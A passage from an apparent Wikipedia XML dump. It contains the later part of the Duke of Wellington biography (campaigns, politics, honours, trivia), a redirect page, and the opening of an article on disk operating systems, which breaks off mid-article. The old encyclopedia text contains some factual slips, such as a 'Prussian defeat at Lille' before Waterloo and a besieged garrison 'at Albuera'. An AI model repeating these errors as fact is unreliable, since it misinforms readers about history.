Quickly reinforced, Wellesley took the offensive in [[April]] [[1809]], joining with a Spanish army under Cuesta he defeated one of the armies of [[Joseph Bonaparte|King Joseph of Spain]] (Napoleon's eldest brother) at the [[Battle of Talavera de la Reina]] in 1809.  For this, he was raised to the [[Peerage of the United Kingdom|Peerage]] as '''Viscount Wellington''', of Talavera and of [[Wellington, Somerset|Wellington]] in the [[Somerset|County of Somerset]]. Betrayed by the Spanish, the British were compelled to retreat to Portugal. When the French army under Marshall Andre Massena invaded Portugal again in [[1810]], he slowed them down at the [[Battle of Buçaco|Busaco]], then blocked them from taking the Lisbon peninsula by his magnificently constructed earthwork [[Lines of Torres Vedras]] coupled with the waterborne protection of the British Royal Navy (the bloodless [[Battle of Lisbon]]).  The baffled and starving French invasion forces retreated after six months.  Wellesley followed and after several skirmishes, drove them out of Portugal entirely except for the small garrison at Albuera which was placed under siege. In [[1811]], Massena returned to Portugal, and Wellesley narrowly defeated the French at the battle of [[Battle of Fuentes de Onoro|Fuentes de Oñoro]] and [[Battle of Albuera|Albuera]]. In [[May]] [[1811]], he was promoted to [[General]] for his services in Portugal.

Capturing the twin fortresses of Ciudad Rodrigo and Badajoz (the 'Keys' of Portual) in 1812, Wellington joined his small British force to the resurgent Portuguese army, rebuilt by Beresford. Driving into Spain, he defeated the French again at [[Battle of Salamanca|Salamanca]], then took the Spanish capital of [[Madrid]]. Around this time, he was created '''Earl of Wellington''' and given command of all Allied armies in Spain. Failing to take the vital fortress of Burgos, the French [[counterattack]] that year put the British forces in a precarious position, but Lord Wellington withdrew his army quickly, and joining with the smaller corps commanded by Rowland Hill, the combined allied army retreated to Portugal.

Taking advantage of the withdrawal of many French troops to Napoleon's doomed invasion of [[Russia]], Wellington led a new offensive in [[1813]], personally leading a small force in a feint against the French center, the main army commanded by Thomas Graham looped around the French right, leading to the rout of the French forces. Continuing to outflank the French lines, Wellington brought the French to battle at the [[Battle of Vitoria]], which pushed the enemy back into France and for which he was promoted to [[Field Marshal]]. After taking the small fortresses of Pamplona and San Sebastion, he invaded France, and finally defeated the French army under Marshall Soult at the [[Battle of Toulouse (1814)|Toulouse]]. Four days after Napolean surrendered to the Allied armies of the Prussians, Russians, and Austrians. After this battle, Napoleon was exiled to the island of [[Elba]] in [[1814]].

Hailed as the conquering [[hero]], Wellington was created '''Duke of Wellington''', a title still held by his descendants. He was soon appointed [[Ambassador]] to France, then took [[Robert Stewart, Viscount Castlereagh|Lord Castlereagh]]'s place as First Plenipotentiary to the [[Congress of Vienna]], where he strongly advocated allowing France to keep its place in the European balance of power. On [[2 January]] [[1815]], the title of his Knighthood of the Bath was converted to [[Order of the Bath|Knight Grand Cross]] upon the expansion of that order.

On [[26 February]] [[1815]], Napoleon escaped his prison on Elba and returned to France. Regaining control of the country by May, he then faced a reformation of the alliance against him. Wellington left Vienna to command the Anglo-Allied forces during the [[Waterloo Campaign]]. He ended up in [[Belgium]], commanding the British army and the allied Dutch-Belgians alongside with [[Prussia|Prussian]] forces under [[Gebhard Leberecht von Blücher]]. After the [[Prussia|Prussian]] defeat at Lille, and the inconclusive draw at [[Battle of Quatre Bras]], the British army retreated to the small town of Waterloo and two days later, on [[18 June]], fought the battle of Waterloo. After an all-day fight, the French Guard was dramatically repulsed by British volley fire, and the arrival of Prussian reinforcements turned Napolean's defeat to a rout. The French Emperor abdicated once again on [[22 June]], and was spirited away by the British to distant [[Saint Helena|St Helena]].

==Wellington as soldier==
[[Image:Wellington Statue.jpg|250px|thumb|the Iron Duke in bronze by [[John Steell]] with the [[Balmoral Hotel]] in the background.]]  
Despite oft cited similarities between Napoleon Bonaparte and Wellington, the strategies and tactics employed by both were diametically opposed. Perhaps the main reason that Napoleon stands in many history texts above Wellington is that Napoleon offered radical changes in warfare in every respect, whereas Wellington's contribution to warfare lies more in the brilliant use of the old.

Napoleonic tactics were typified by massive conscript armies who advanced in tight columns to rout opposing forces. This was soon adopted by nearly every major participant in the war, with the chief exception of the British and the Spanish and Portuguese they trained. In almost every engagement, the tight-packed French columns(in which only the first two ranks could fire) would advance, apparently unheeding of casualties. Against the ill-trained armies of the Austrians, Prussians, and the other allied powers, it was spectacularly successful. Against the excellently trained British regulars who stood in line in two ranks(and thus, every man in line could fire), the column was a spectacular failure. despite the demonstrated helplessness of the French column against the British line, the French commanders in Iberia continued to attack in column. Thus, in many instances, a single British battalion would defeat an entire French division.

Wellington is often viewed as a 'defensive general,' despite the fact that many of his greatest victories (Assaye, Douro, Salamanca, Vitoria, Toulouse), were all offensive battles. In fact, on the defensive, Wellington made a number of mistakes, most famously, at the battle of Funtes de Onero, where a disaster was only averted by the his quick thinking and the steadiness of the British and Portuguese troops.

Strategically, Wellington also appears somewhat anachronistic, with the Peninsular War revolving partly upon the possession and besieging of fortified strongholds. Conventional military wisdom of the era, especially under Napoleon, dictated that the opposing field army was to be eliminated at any price necessary, before disease and wastage could reduce the attacking force to nothing. In pursuit of this aim, desperate measures would be taken, such as winter battles, forced marches, and privation allievated only by foraging. Wellington's campaign displayed carefully planned offensives, tempered by subsequent consolidation of gains.

In other strategic areas however, Wellington seemed to forecast the tide of the future. The construction of the fortifications near Torres Vedras, and the subsequent attritional campaign which ensued, seems to typify the manner that warfare would evolve within the following century.  

Wellington should be considered a model for multi-national leadership. He efficiently coordinated the efforts of Portuguese, Spanish, and a multitude of other foreign units, as well as negotiating with a home government not always empathetic to military concerns. It is a testament to Wellington's ability that he successfully integrated and commanded British, Spanish, Portuguese, Hanoverian, Saxon Prussian, Swiss, Indian, Dutch, and Belgian troops; a retinue only Napoleon himself could probably match. In command of these forces, he was almost always outnumbered, and succeeded by the merits of his attention to detail, tactical foresight (and not least of all); the bravery and skill of the incomparable British infantry.

An important point when comparing Wellington and Napoleon, is that whereas Napoleon was effectively supreme commander of the armed forces of his Empire, Wellington was merely a general in the field, with little or no influence on the organisation or administration of the British Army as a whole. He was driven to exasperation on several occasions, for example by the fact that his artillery were administered separately from the infantry and cavalry; and by the quality of some of the commanders and staff officers imposed on him by the Commander-in-Chief, the [[Prince Frederick, Duke of York and Albany|Duke of York]].

However, when he himself became Commander-in-Chief, he made no major changes to the Army's policies, maintaining practices such as flogging for disciplinary offences and purchase of commissions, unchanged for almost forty years.

==Later life==
[[Image:Arthur Wellesley, 1st Duke of Wellington - Project Gutenberg 13103.jpg|frame|right|250px|The Duke of Wellington in later life]]
Politics beckoned once again in [[1819]], when Wellington was appointed [[Master-General of the Ordnance]] in the [[Tory]] government of [[Robert Banks Jenkinson, 2nd Earl of Liverpool|Lord Liverpool]]. In [[1827]], he was appointed Commander-in-Chief of the British Army, a position he would hold for the remainder of his life, except during his premiership. Along with [[Robert Peel]], Wellington became one of the rising stars of the Tory party, and by [[1828]], had become [[Prime Minister of the United Kingdom|Prime Minister]].

As Prime Minister, Wellington was the picture of the arch-conservative, though oddly enough the highlight of his term was [[Catholic Emancipation]], the granting of almost full civil rights to Catholics in the United Kingdom. The change was forced by the landslide [[by-election]] win of [[Daniel O'Connell]], a Catholic proponent of emancipation, who was elected despite not being legally allowed to sit in Parliament. [[George Finch-Hatton, 10th Earl of Winchilsea|Lord Winchilsea]] accused the Duke of having &quot;treacherously plotted the destruction of the Protestant constitution&quot;. Wellington responded by immediately challenging Winchilsea to a duel. The duel is also one of the reasons for the founding of [[King's College London]]. On [[21 March]] [[1829]], Wellington and Winchilsea met on [[Battersea Park|Battersea fields]]. When it came time to fire, the Duke deliberately aimed wide and Winchilsea fired into the air. He subsequently wrote Wellington a grovelling apology. In the [[House of Lords]], facing stiff opposition, Wellington spoke for Catholic emancipation, giving one of the best speeches of his career [http://dspace.dial.pipex.com/town/terrace/adw03/polspeech/catholic.htm]. The [[Catholic Emancipation Act]] was passed with a majority of 105.  Many of the Tories voted against the Act, and it passed only with the help of the [[Whig]]s.

Wellington's government fell in 1830. In the summer and autumn of that year, a wave of riots swept the country. The Whigs had been out of power for all but a few years since the 1770s, and saw political reform in response to the unrest as the key to their return. Wellington stuck to the Tory policy of no reform and no expansion of the franchise, and as a result lost a vote of no confidence on [[15 November]] [[1830]]. He was replaced as Prime Minister by [[Charles Grey, 2nd Earl Grey|Lord Grey]].

The Whigs introduced the first [[Reform Act 1832|Reform Act]], but Wellington and the Tories worked to prevent its passage. The bill passed in the [[British House of Commons|House of Commons]], but was defeated in the [[House of Lords]]. An election followed in direct response, and the Whigs were returned with an even larger majority. A second Reform Act was introduced, and defeated in the same way, and another wave of near insurrection swept the country. During this time, Wellington was greeted by a hostile reaction from the crowds at the opening of the [[Liverpool and Manchester Railway]], and eventually the bill was passed after the Whigs threatened to have the House of Lords packed with their own followers if it were not. Though it passed, Wellington was never reconciled to the change; when Parliament first met after the first election under the widened franchise, Wellington is reported to have said &quot;I never saw so many shocking bad hats in my life&quot;. During this time, Wellington was gradually superseded as leader of the Tories by Robert Peel; when the Tories were brought back to power in 1834, Wellington declined to become Prime Minister, and Peel was selected instead.  Unfortunately Peel was in Italy, and for three weeks in November and December 1834, Wellington acted as a caretaker, taking the responsibilities of Prime Minister and most of the other ministries.  In Peel's first Cabinet (1834&amp;ndash;1835), Wellington became [[Secretary of State for Foreign Affairs|Foreign Secretary]], while in the second (1841&amp;ndash;1846) he was a [[Minister without Portfolio]] and [[Leader of the House of Lords]].
[[Image:EmilySDrummondWellingtonFuneral1852.jpg|thumb|250px|The Duke's funeral procession passing through [[Trafalgar Square]].]]
Wellington retired from political life in 1846, although he remained [[Commander-in-Chief of the Forces]], and returned briefly to the spotlight in 1848 when he helped organize a military force to protect London during that year of European revolution. He died at [[Walmer Castle]] (his honorary residence as [[Lord Warden of the Cinque Ports]], which he enjoyed and at which he hosted [[Queen Victoria]]) in 1852. Although in life he hated travelling by rail, his body was then taken by train to [[London]], where he was given a [[state funeral]] - one of only a handful of British subjects to be honoured in that way (other examples are [[Nelson]] and [[Churchill]]) - and was buried in a [[sarcophagus]] of [[luxulyanite]] in [[St Paul's Cathedral]].

==Afterlife==
In 1838 a proposal to build a statue of Wellington resulted in the building of a giant statue of him on his horse ''Copenhagen'', placed above the Arch at [[Constitution Hill]] in London directly outside [[Apsley House]], his former London home, in 1846. The enormous scale of the 40 ton, 30 feet high monument resulted in its removal in 1883 and the following year it was transported to [[Aldershot]] where it still stands near the [[Royal Garrison Church Aldershot|Royal Garrison Church]].

==Titles &amp; Honours==
[[Image:Arthur-Wellesley-arms.PNG|frame|right|150px|Arms of Arthur Wellesley]]
===[[Peerage of the United Kingdom]]===
*Baron Douro, of Wellington in the County of Somerset ([[4 September]] [[1809]])
*Viscount Wellington, of Talavera and of Wellington in the County of Somerset ([[4 September]] [[1809]])
*Earl of Wellington, in the County of Somerset ([[28 February]] [[1812]])
*Marquess of Wellington, in the County of Somerset ([[3 October]] [[1812]])
*Marquess Douro ([[11 May]] [[1814]])
*[[Duke of Wellington]], in the County of Somerset ([[11 May]] [[1814]])

===British &amp; Irish Honours===
*[[Order of the Bath|Knight of the Bath]] (1804)
*[[Privy Council of the United Kingdom|Privy Council]]lor of [[Great Britain]] ([[8 April]] [[1807]])
*[[Privy Council of Ireland|Privy Council]]lor of [[Ireland]] ([[28 April]] [[1807]])
*[[Order of the Garter|Knight of the Garter]] (1813)
*[[Order of the Bath|Knight Grand Cross of the Order of the Bath]] (1815)
*[[Lord Lieutenant of Hampshire]] (1820)
*[[Lord Warden of the Cinque Ports|Lord Warden of the Cinque Ports]] (1829)
*Peninsular Cross [[medal]] with nine bars for all campaigns--the only one so issued.  Displayed at [[Apsley House]] along with a Waterloo Medal.
*[[Royal Society|Fellow of the Royal Society]] (1847)

===International Honours &amp; Titles===
*Conde de Vimeiro ([[18 October]] [[1811]], [[Portugal]])
*Duque de Ciudad Rodrigo (January 1812, [[Spain]])
*[[Grandee]] of the First Class (January 1812, Spain)
*Marquês de Torres Vedras (August 1812, Portugal)
*Duque de Vittoria ([[18 December]] [[1812]], Portugal)
*[[Order of the Golden Fleece|Knight of the Golden Fleece]] (1812, Spain)
*[[Prince of Waterloo|Prins van Waterloo]] ([[18 July]] [[1815]], [[The Netherlands]])
*[[GCH|Knight Grand Cross of the Order of Hanover]] (1816, [[Hanover]])
*[[Field Marshal]] batons from 12 countries.  These can be seen at [[Apsley House]].

The Duke of Wellington stood as [[godfather]] to [[Victoria of the United Kingdom|Queen Victoria]]'s seventh child, [[Prince Arthur, Duke of Connaught|Prince Arthur]], in 1850. The Duke of Wellington and his godson shared the same birthdate, and as a toddler, young Arthur was encouraged to remind people that the Duke of Wellington was his godfather.

==Styles==

*The Hon. Arthur Wesley (birth&amp;ndash;[[7 March]] [[1787]])
*Ensign The Hon. Arthur Wesley ([[7 March]] [[1787]]&amp;ndash;[[25 December]] [[1787]])
*Lieutenant The Hon. Arthur Wesley ([[25 December]] [[1787]]&amp;ndash;[[30 June]] [[1791]])
*Captain The Hon. Arthur Wesley ([[30 June]] [[1791]]&amp;ndash;[[30 June]] [[1791]])
*Major The Hon. Arthur Wesley ([[30 April]] [[1793]]&amp;ndash;[[30 April]] [[1793]])
*Lieutenant-Colonel The Hon. Arthur Wesley ([[30 September]] [[1793]]&amp;ndash;[[3 May]] [[1796]])
*Colonel The Hon. Arthur Wesley ([[3 May]] [[1796]]&amp;ndash;[[5 May]] [[1799]])
*Colonel The Hon. Arthur Wellesley ([[5 May]] [[1799]]&amp;ndash;[[29 April]] [[1802]])
*Major-General The Hon. Arthur Wellesley ([[29 April]] [[1802]]&amp;ndash;[[1 September]] [[1804]])
*Major-General The Hon. Sir Arthur Wellesley, KB ([[1 September]] [[1804]]&amp;ndash;[[8 April]] [[1807]])
*Major-General The Rt Hon. Sir Arthur Wellesley, KB ([[8 April]] [[1807]]&amp;ndash;[[25 April]] [[1808]])
*Lieutenant-General The Hon. Sir Arthur Wellesley, KB ([[25 April]] [[1808]]&amp;ndash;[[4 September]] [[1809]])
*Lieutenant-General The Rt Hon. The Viscount Wellington, KB, PC ([[4 September]] [[1809]]&amp;ndash;May [[1811]])
*General The Rt Hon. The Viscount Wellington, KB, PC (May [[1811]]&amp;ndash;[[28 February]] [[1812]])
*General The Rt Hon. The Earl of Wellington, KB, PC ([[28 February]] [[1812]]&amp;ndash;[[3 October]] [[1812]])
*General The Most Hon. The Marquess of Wellington, KB, PC ([[3 October]] [[1812]]&amp;ndash;[[4 March]] [[1813]])
*General The Most Hon. The Marquess of Wellington, KG, KB, PC ([[4 March]] [[1813]]&amp;ndash;[[21 June]] [[1813]])
*Field Marshal The Most Hon. The Marquess of Wellington, KG, KB, PC ([[21 June]] [[1813]]&amp;ndash;[[11 May]] [[1814]])
*Field Marshal His Grace The Duke of Wellington, KG, KB, PC ([[11 May]] [[1814]]&amp;ndash;[[2 January]] [[1815]])
*Field Marshal His Grace The Duke of Wellington, KG, GCB, PC ([[2 January]] [[1815]]&amp;ndash;[[14 September]] [[1852]])

==Nicknames==
Apart from giving his name to &quot;[[Wellington boot]]s&quot;, the Duke of Wellington also had several nicknames.

* The &quot;[[Iron Duke]]&quot;, after an incident in 1830 in which he installed metal shutters to prevent rioters breaking windows at [[Apsley House]]
* Officers under his command called him &quot;The Beau&quot;, thanks to him being a fine dresser or &quot;The Peer&quot; after he was created a Viscount.
* Regular soldiers under his command called him &quot;Old Nosey&quot; or &quot;Old Hookey&quot; because of his long nose.
* Spanish and Portuguese troops called him &quot;the Eagle&quot; and &quot;Douro&quot; respectively.

==Trivia==
An interesting fact about Wellington is that he shaved twice a day due to rapid growth of facial hair. He was also insistent that he was not interrupted during shaving. This little tale is seen in ''Redcoats'' by Richard Holmes.

[[HMS Iron Duke|HMS ''Iron Duke'']], named for Wellington, was the flagship of [[John Jellicoe|Admiral Sir John Jellicoe]] at the [[Battle of Jutland]] in [[World War I]].

Wellington is a recurring character in the [[Richard Sharpe (fictional character)|Richard Sharpe]] novels by [[Bernard Cornwell]]. In the film versions he was played by [[David Troughton]] for the first two instalments and [[Hugh Fraser (actor)|Hugh Fraser]] for the remainder of the 14 movie series.

[[C. S. Forester]] invented a younger sister, &quot;Lady Barbara Wellesley&quot;, as a character in his [[Horatio Hornblower]] novels.

The oft quoted phrase &quot;Publish and be damned!&quot; is attributed to Wellington, as what he said after the courtesan [[Harriette Wilson]] threatened to publish her memoirs and his letters if he didn't supply her financial demands.

The capital city of [[New Zealand]] is named [[Wellington]] in honour of Wellington.  The city has a private intermediate school named ''Wellesley College'' and a private club, ''Wellesley Club''.

==The Duke of Wellington's Government, January 1828 - November 1830==
*The Duke of Wellington&amp;mdash;[[First Lord of the Treasury]] and [[Leader of the House of Lords]]
*[[John Singleton Copley, 1st Baron Lyndhurst|Lord Lyndhurst]]&amp;mdash;[[Lord Chancellor]]
*[[Henry Bathurst, 3rd Earl Bathurst|Lord Bathurst]]&amp;mdash;[[Lord President of the Council]]
*[[Edward Law, 1st Earl of Ellenborough|Lord Ellenborough]]&amp;mdash;[[Lord Privy Seal]]
*[[Robert Peel]]&amp;mdash;[[Secretary of State for the Home Department]] and [[Leader of the House of Commons]]
*[[John William Ward, 1st Earl of Dudley|Lord Dudley]]&amp;mdash;[[Secretary of State for Foreign Affairs]]
*[[William Huskisson]]&amp;mdash;[[Secretary of State for War and the Colonies]]
*[[Henry Goulburn]]&amp;mdash;[[Chancellor of the Exchequer]]
*[[Charles Grant, 1st Baron Glenelg|Charles Grant]]&amp;mdash;[[President of the Board of Trade]] and [[Treasurer of the Navy]]
*[[Robert Dundas, 2nd Viscount Melville|Lord Melville]]&amp;mdash;[[President of the Board of Control]]
*[[John Charles Herries]]&amp;mdash;[[Master of the Mint]]
*[[George Hamilton-Gordon, 4th Earl of Aberdeen|Lord Aberdeen]]&amp;mdash;[[Chancellor of the Duchy of Lancaster]]
*[[Henry John Temple, 3rd Viscount Palmerston|Lord Palmerston]]&amp;mdash;[[Secretary at War]]

'''Changes'''
*May-June, 1828&amp;mdash;[[Sir George Murray]] succeeds Huskisson as Colonial Secretary. Lord Aberdeen succeeded Lord Dudley as Foreign Secretary.  Aberdeen's successor at the Duchy of Lancaster was not in the Cabinet.  [[William Vesey-FitzGerald, 2nd Baron FitzGerald and Vesey|William Vesey-FitzGerald]] succeeded Grant as President of the Board of Trade and Treasurer of the Navy.  Lord Palmerston left the Cabinet.  His successor as Secretary at War was not in the Cabinet.
*September, 1828&amp;mdash;[[Robert Dundas, 2nd Viscount Melville|Lord Melville]] becomes [[First Lord of the Admiralty]].  He was succeeded as President of the Board of Control by Lord Ellenborough, who remained also Lord Privy Seal
*June, 1829&amp;mdash;[[James St Clair-Erskine, 2nd Earl of Rosslyn|Lord Rosslyn]] succeeded Lord Ellenborough as Lord Privy Seal. Ellenborough remained at the Board of Control.

==The Duke of Wellington's Caretaker Government November  1834 - December 1834==
*The Duke of Wellington&amp;mdash;[[First Lord of the Treasury]], [[Secretary of State for the Home Department]], [[Secretary of State for Foreign Affairs]], [[Secretary of State for War and the Colonies]] and [[Leader of the House of Lords]]
*[[John Singleton Copley, 1st Baron Lyndhurst|Lord Lyndhurst]]&amp;mdash;[[Lord Chancellor]]
*[[Thomas Denman, 1st Baron Denman|Lord Denham]]&amp;mdash;[[Chancellor of the Exchequer]]
Other offices were in commission.

==References==
*[http://www.thepeerage.com/p10256.htm#i102559 ThePeerage.com]
*[[Burke's Peerage]]
*[[Military Heritage]] published a feature on Arthur Wellesley, Duke of Wellington, time and conflicts in India on behalf of the [[British East India Company]] (aka East India Tea Company) and the British crown (Charles Hilbert, Military Heritage, August 2005, Volume 7, No. 1, pp.34 to 41), ISSN 1524-8666.
*Hutchinson, Lester. ''European Freebooters in Mogul India''. New York: Asia Publishing House, 1964.
*Longford, Elizabeth. ''Wellington: The Years of The Sword''. New York: Harper and Row Publishers, 1969.
*Mill, James. ''The History of British India''. 6 vols. 5th ed. New York: Chelsea House Publishers, 1968.
*Brett-James, ed. ''Wellington at War 1794-1815'', New York: St. Martin’s Press, 1961.
*A collection of the Duke’s letters. Beatson, Alexander. ''A View of the Origin and Conduct of the War with Tippoo Sultaun''. London: Bulmer and Co., 1800.
*Holmes, Richard. ''Wellington: The Iron Duke''. London: Harper Collins Publishers, 2002

==Trivia==
In [[Auckland]], [[New Zealand]], there is a central city road named Wellesley Steet after Arthur Wellesley.

==See also==
{{wikiquote}}
{{wikisource author}}
*[[Beef tenderloin|Beef Wellington]]
*[[Wellington Arch]]
*[[Wellington boot]]
*[[Wellington's Column]]
*[[Stratfield Saye House]]

===External links===
*[http://www.badley.info/history/Wellesley-Arthur-Great-Britain.biog.html Duke of Wellington Chronology World History Database]
*[http://www.dwr.org.uk/ Duke of Wellington's Regiment - West Riding]
* {{gutenberg author| id=Duke+of+Wellington+Arthur+Wellesley | name=Arthur Wellesley, 1st Duke of Wellington}}
*[http://www.nottingham.ac.uk/mss/online/visual-resources/results.php?title=wellington&amp;catshort=cartoon&amp;offset=0 Images of political cartoons featuring the Duke of Wellington (University of Nottingham)]

{{start box}}
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{{end box}}

{{start box}}
{{succession box | title=[[Duke of Wellington]] | before=New Creation | after=[[Arthur Richard Wellesley, 2nd Duke of Wellington|Arthur Wellesley]] | years=1814&amp;ndash;1852}}
{{end box}}

{{UKPrimeMinisters}}

{{ConservativePartyLeader}}

[[Category:1769 births|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:1852 deaths|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:British Field Marshals|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:British MPs|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:British Secretaries of State|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:Dukes in the Peerage of the United Kingdom|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:Fellows of the Royal Society|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:Freemasons|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:Irish people|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:Knights Grand Cross of the Bath|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:Knights Grand Cross of the Royal Guelphic Order|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:Knights of the Garter|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:Knights of St Patrick|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:Knights of the Golden Fleece|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:Leaders of the British Conservative Party|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:Lord High Constables|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:Lords Warden of the Cinque Ports|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:Members of the Privy Council|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:Napoleonic wars British commanders|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:Prime Ministers of the United Kingdom|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:Russian Field Marshals|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:People associated with King's College London|Wellington, Arthur Wellesley, 1st Duke of]]
[[Category:Old Etonians|Wellington, Arthur Wellesley, 1st Duke of]]

[[da:Arthur Wellesley]]
[[de:Arthur Wellesley, 1. Herzog von Wellington]]
[[es:Arthur Wellesley]]
[[eo:Duko de Wellington]]
[[fr:Arthur Wellesley de Wellington]]
[[it:Arthur Wellesley, primo Duca di Wellington]]
[[he:ארתור ולסלי ולינגטון]]
[[nl:Arthur Wellesley]]
[[ja:ウェリントン公アーサー・ウェルズリー]]
[[pl:Arthur Wellesley]]
[[pt:Arthur Wellesley]]
[[ru:Веллингтон, Артур Уэлсли]]
[[sv:Arthur Wellesley Wellington]]
[[zh:阿瑟·韦尔斯利]]</text>
    </revision>
  </page>
  <page>
    <title>Downhill skiing</title>
    <id>8475</id>
    <revision>
      <id>20728132</id>
      <timestamp>2005-08-10T22:27:32Z</timestamp>
      <contributor>
        <username>Sarge Baldy</username>
        <id>23320</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[Downhill]]</text>
    </revision>
  </page>
  <page>
    <title>Disk operating system</title>
    <id>8476</id>
    <revision>
      <id>40550937</id>
      <timestamp>2006-02-21T10:27:08Z</timestamp>
      <contributor>
        <username>Ae-a</username>
        <id>163872</id>
      </contributor>
      <comment>Removed {{mergedisputed|DOS}} - nobody has come forward to oppose the removal of the merge notice.</comment>
      <text xml:space="preserve">{{otheruses6|DOS}}

'''Disk Operating System''' (specifically) and '''disk operating system''' (generically), most often abbreviated as '''DOS''' (not to be confused with the [[DOS]] family of disk operating systems for the [[IBM PC compatible]] platform), refer to [[operating system]] software used in most computers that provides the abstraction and management of [[secondary storage]] devices and the information on them (e.g., [[file system]]s for organizing [[file (computing)|file]]s of all sorts). Such software is referred to as a ''disk'' operating system when the storage devices it manages are made of rotating platters (such as [[hard disk]]s or [[floppy disk]]s).

In the early days of [[microcomputer|microcomputing]], [[computer memory|memory]] space was often limited, so the disk operating system was an extension of the operating system. This component was only loaded if it was needed. Otherwise, disk-access would be limited to low-level operations such as reading and writing disks at the [[sector]]-level.

In some cases, the ''disk operating system'' component (or even the operating system) was known as ''DOS''.

Sometimes, a ''disk operating system'' can refer to the entire operating system if it is loaded off a disk and supports the abstraction and management of disk devices. An example is [[DOS/360]]. On the [[PC compatible]] platform, an entire family of operating systems was called ''DOS''.

==History==
In the early days of computers, there were no disk drives; [[delay line]]s, [[punched card]]s, [[paper tape]], [[magnetic tape]], [[magnetic drum]]s, were used instead. And in the early days of microcomputers, paper tape or [[audio cassette tape]] (see [[Kansas City standard]]) or nothing were used instead. In the latter case, program and data entry was done at [[front panel]] switches directly into memory or through a [[computer terminal]] / keyboard, sometimes controlled by a [[read-only memory|ROM]] [[BASIC programming language|BASIC]] interpreter; when power was turned off after running the program, the information so entered vanished. 

Both [[hard disk]]s and [[floppy disk]] drives require software to manage rapid access to block storage of sequential and other data.  When microcomputers rarely had expensive disk drives of any kind, the necessity to have software to manage such devices (ie, the 'disk's) carried much status.  To have one or the other was a mark of distinction and prestige, and so was having the Disk sort of an Operating System. As prices for both disk hardware and operating system software decreased, there were many such microcomputer systems. 

Mature versions of the [[Commodore 64|Commodore]], [[SWTPC]], [[Atari 8-bit family|Atari]] and [[Apple Computer|Apple]] [[home computer]] systems all featured a disk operating system (actually called 'DOS' in the case of the Commodore 64 (''[[CBM DOS]]''), Atari 800 (''[[Atari DOS]]''), and Apple II machines (''[[Apple DOS]]'')), as did (at the other end of the hardware spectrum, and much earlier) [[International Business Machines|IBM]]'s [[System/360]], [[System/370|370]] and (later) [[System/390|390]] series of [[IBM mainframe|mainframe]]s (e.g., [[DOS/360]]: '''''D'''isk '''O'''perating '''S'''ystem / 360'' and [[VSE|DOS/VSE]]: '''''D'''isk '''O'''perating '''S'''ystem / '''V'''irtual '''S'''torage '''E'''xtended''). Most home computer DOS'es were stored on a floppy disk always to be [[boot loader|booted]] at start-up, with the notable exception of Commodore, whose DOS resided on ROM chips in the [[Commodore 1541|disk drive]]s themselves, available at power-on.

In large machines there were other disk operating systems, such as IBM's [[VM]], DEC's [[RSTS]] / [[RT-11]] / [[OpenVMS|VMS]] / [[TOPS-10]] / [[TWENEX]], MIT's [[Incompatible Timesharing System|ITS]] / [[Compatible Time Sharing System|CTSS]], Control Data's assorted [[Network operating system|NOS]] variants, Harris's [[Vulcan OS|Vulcan]], Bell Labs' [[Unix]], and so on. In [[microcomputer|microcomputers]], SWTPC's 6800 and 6809 machines used [[TSC]]'s [[FLEX]] disk operating system, [[Radio Shack]]'s [[TRS-80]] machines used [[TRS-DOS]], their [[TRS-80 Color Computer|Color Computer]] used [[OS-9]], and most of the Intel 8080 based machines from [[IMSAI Manufacturing Corp.|IMSAI]], [[Micro Instrumentation and Telemetry Systems|MITS]] (makers of the legendary [[Altair 8800]]), [[Cromemco]], [[North Star]], etc used the [[CP/M-80]] disk operating system. See [[list of operating systems]].

Usually, a disk operating system was loaded from a disk. Only a very few comparable DOSes were stored elsewhere than floppy disks; among these exceptions were the British [[BBC Micro]]'s optional [[Disc Filing System]], DFS, offered as a kit with a disk controller chip, a ROM chip, and a handful of logic chips, to be installed inside the computer; and [[Commodore International|Commodore]]'s [[Commodore DOS|CBM DOS]], located in a ROM chip in each disk drive.

==Examples of disk operating sytems that were extensions to the OS==
*The '''DOS''' operating system for the [[Apple Computer]]'s [[Apple II]] family of computers. This was the primary operating system for this family from 1979 with the introduction of the [[floppy disk drive]] until 1983 with the introduction of '''[[ProDOS]]'''; many people continued using it long after that date. Usually it was called '''[[Apple DOS]]''' to distinguish it from [[MS-DOS]].
*'''[[Commodore DOS]]''', which was used by 8-bit [[Commodore International|Commodore]] computers. Unlike most other DOS systems, it was integrated into the disk drives, not loaded into the computer's own memory.
*'''[[Atari DOS]]''', which was used by the [[Atari 8-bit family]] of computers. The Atari OS only offered low-level disk-access, so an extra layer called ''DOS'' was booted off of a floppy that offered higher level functions such as filesystems.
*'''[[MSX-DOS]]''', for the [[MSX]] computer standard. Initial version, released in 1984, was nothing but MS-DOS 1.0 ported to [[Z80]]; but in 1988 it evolved to version 2, offering facilities such as subdirectories, memory management and environment strings. The MSX-DOS kernel resided in ROM (built-in on the disk controller) so basic file access capacity was available even without the command interpreter, by using [[BASIC programming language|BASIC]] extended commands.
*'''[[Disc Filing System]]''' (DFS) This was an optional component for the [[BBC Micro]], offered as a kit with a disk controller chip, a ROM chip, and a handful of logic chips, to be installed inside the computer. See also ''[[Advanced Disc Filing System]]''.
*'''[[AMSDOS]]''', for the [[Amstrad CPC]] computers.
*'''GDOS''' and '''G+DOS''', for the [[+D]] and [[DISCiPLE]] disk interfaces for the [[ZX Spectrum]].

==Examples of Disk Operating Sytems that were the OS itself==
